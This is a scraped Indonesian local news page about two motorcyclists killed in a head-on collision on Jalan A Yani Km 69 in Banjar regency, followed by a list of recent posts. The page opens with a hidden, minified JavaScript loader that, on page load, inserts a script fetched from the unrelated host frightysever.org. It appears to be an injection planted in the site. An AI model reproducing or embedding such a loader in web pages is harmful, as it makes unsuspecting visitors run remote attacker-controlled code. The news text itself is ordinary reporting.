(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Dua Suzuki Smash Tabrakan di A Yani Km 69, Kedua Pemotor Meninggal Dunia


KANALKALIMANTAN.COM, MARTAPURA – Kecelakaan lalu lintas merenggut nyawa kembali terjadi di ruas Jalan Ahmad Yani wilayah Kabupaten Banjar.

Kali ini laka lantas maut terjadi di Jalan A Yani Km 69 Desa Loktamu Kecamatan Mataraman Kabupaten Banjar, pada Rabu (24/1/2024) pagi.

Dua pengendara sepeda motor jenis bebek meninggal dunia dalam persitiwa kecelakaan tersebut. Dua sepeda motor Suzuki Smash rekaman CCTV tampak dua kendaraan bermotor beradu dari dua arah.

Baca juga: Dituntut 1 Tahun 3 Bulan Penjara, Mantan Kabid Disdik HSU Nangis Minta Vonis Ringan

Kedua pengendara terpental dan barang yang dibawa berhamburan. Satu pemotor diketahui sebagai penjual sayur yang sedangn membawa barang dagangan.

Kecelakaan maut yang terjadi sekitar pukul 05.37 Wita tersebut, terekam CCTV dan tersebar di media sosial.

Salah seorang korban adalah tukang sayur yang mengendarai motor bebek Suzuki Smash bernomor polisi DA 4147 QQ.

Baca juga: Siaga Banjir, BPBD Banjarbaru Pantau Sungai dari CCTV

Sedangkan pemotor lain juga menunggangi bebek Suzuki Smash DA 4377 EA. Dari rekaman CCTV, Suzuki Smash DA 4147 QQ sedang melintas di jalur kiri dari arah Martapura. Tiba-tiba datang Suzuki Smash DA 4377 EA dari arah berlawanan berkecepatan tinggi.

Kasat Lantas Polres Banjar AKP Risda Idfira menyampaikan kronologi laka lantas yang melibatkan kendaraan roda dua Suzuki Smash berwarna putih dan Suzuki Smash berwarna hitam di Jalan A Yani Km 69.

“Suzuki Smash warna putih datang dari arah Hulu Sungai menuju Martapura, dari arah berlawanan dari Martapura ke Hulu Sungai ada Suzuki Smash warna hitam, lalu bertabrakan,” ujarnya.

Baca juga: Dua Bulan 18 Kasus Narkoba, 164 Gram Sabu Dimusnahkan

Akibatnya, kedua pemotor mengalami luka-luka dibawa ke Puskesmas Simpang Empat 2 dan dinyatakan meninggal dunia.

“MY mengalami luka retak pada bagian kepala depan, keluar darah dari telinga, dan patah kaki, sedangkan MJS mengalami patah tulang di beberapa bagian tubuh,” bebernya. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.